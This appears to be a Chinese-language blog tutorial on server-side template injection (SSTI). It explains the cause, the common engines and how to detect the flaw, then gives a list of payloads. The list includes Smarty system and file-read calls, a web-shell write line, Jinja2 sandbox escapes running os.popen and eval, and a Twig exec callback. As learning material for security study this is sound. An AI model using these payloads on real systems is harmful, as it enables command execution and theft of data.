• WEB 渗透之SSTI 模板注入


    SSTI 模板注入

    前言

    这一篇文章只是简单的使用,对于深入的代码审计由于本人暂时水平有限,做不出太大的解释,所以就不做解释,只讲述利用漏洞,对于代码的审计部分以及若干漏洞利用我会在后期进行补上
    本文的一个小关卡
    大家也可以看我的学习总结文章,我会在里面加入其他的一些利用

    一、注入

    注入的定义: 注入就是格式化字符串漏洞的一种体现

    二、什么是 SSTI 模板注入

    SSTI (服务器端模板注入)也是格式化字符串的一个非常好的例子,如今的开发已经形成了非常成熟的 MVC 的模式,我们的输入通过 V 接收,交给 C ,然后由 C 调用 M 或者其他的 C 进行处理,最后再返回给 V ,这样就最终显示在我们的面前了,那么这里的 V 中就大量的用到了一种叫做模板的技术。请记住,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

    三、产生原因

    服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

    四、常见的模板引擎

    1. PHP
      1. Smarty

        Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

      2. Twig

        Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

      3. Blade

        Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
        和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何额外负担。

    2. Java
      1. JSP

        对于这个初学者都是用这个说实话这个好像有点 out 了。不过网上的存量还是挺大的

      2. FreeMarker

        FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

      3. Velocity

        Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

    3. Python
      1. Jinja2

        flask jinja2 一直是一起说的,使用非常的广泛

      2. django

        django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道 django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

      3. tornado

        tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

    五、相关属性

    1. _class_
      python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

    2. _mro_
      python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

    3. _globals_
      保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

    4. _subclasses_()

      python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

      因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。

    六、检测方法

    同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。

    简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

    注意:有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如
    有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤
    在这里插入图片描述

    工具

    七、攻击思路

    1. 攻击方向

    (1)模板本身
    (2)框架本身
    (3)语言本身
    (4)应用本身

    2. 漏洞利用

    这里我还没有找下足够的利用方法,就先把自己有的粘贴吧
    超级全的模板注入语句

    1. Smarty模板注入:(我这里做笔记的时候全用的if语句就不改了)
    {if phpinfo()}{/if}
    {if readfile(‘文件路劲’)}{/if}
    {if show_source(‘文件路径’)}{/if}
    {if passthru(‘操作命令’)}{/if}
    {if system(‘操作命令’)}{/if}
    {system('cat /flag')}
    {self::getStreamVariable("file:///etc/passwd")}
    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"$_GET['cmd']); ?>",self::clearConfig())}
    常规利用
    {$smarty.version}  #获取smarty的版本号
    {php}phpinfo();{/php}  #执行相应的php代码,在Smarty 3.1,{php}仅在SmartyBC中可用
    <script language="php">phpinfo();</script>
    {self::getStreamVariable("file:///etc/passwd")}
    等等等等等等等等。。。。。。......
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    1. Jinja2:
      Python2:
    #(system函数换为popen('').read(),需要导入os模块)  
    {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
    #(不需要导入os模块,直接从别的模块调用)
    {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
    #常用的py2 EXP
    ().__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
      Python3:
    {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
    
    
    • 1
    • 2
    • 3
    1. Twig:
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
    
    • 1
    1. AngularJS:

      $eval('1+1')
      
      
      • 1
      • 2
    2. Tornado

      引用模块 {% import module %}
      => {% import os %}{{ os.popen("whoami").read() }}
      
      • 1
      • 2
    3. Django

      {{ request }}
      {% debug %}
      {% load module %}
      {% include "x.html" %}
      {% extends "x.html" %}
      
      • 1
      • 2
      • 3
      • 4
      • 5

    八、总结

    刚开始学知道怎么找漏洞就可以了,没必要深究

    1. 大佬的文章链接
    2. 文章链接
      上面两篇文章谨慎看,讲的过于详细我都不敢看
    3. 常见的模板注入语句
      %B3%A8%E5%85%A5&spm=1018.2226.3001.4187)
      上面两篇文章谨慎看,讲的过于详细我都不敢看
    4. 常见的模板注入语句
    5. 模板注入
  • 相关阅读:
    06:串口通信一
    【设计模式】原型模式的浅拷贝和深拷贝
    实现定时器的两种方法:使用windows api定时器 和使用c++11/14 定时器
    ODC 3.4.0 现已上线,让数据库开发更简单
    行车记录仪E-mark认证要如何办理?
    使用MSYS2和UPX显著缩小发布文件体积
    蓝桥杯备战刷题three(自用)
    自注意力机制(Self-attention)【第四章】
    面试题 01.06. 字符串压缩
    传统变化检测
  • 原文地址:https://blog.csdn.net/weixin_53150482/article/details/126156910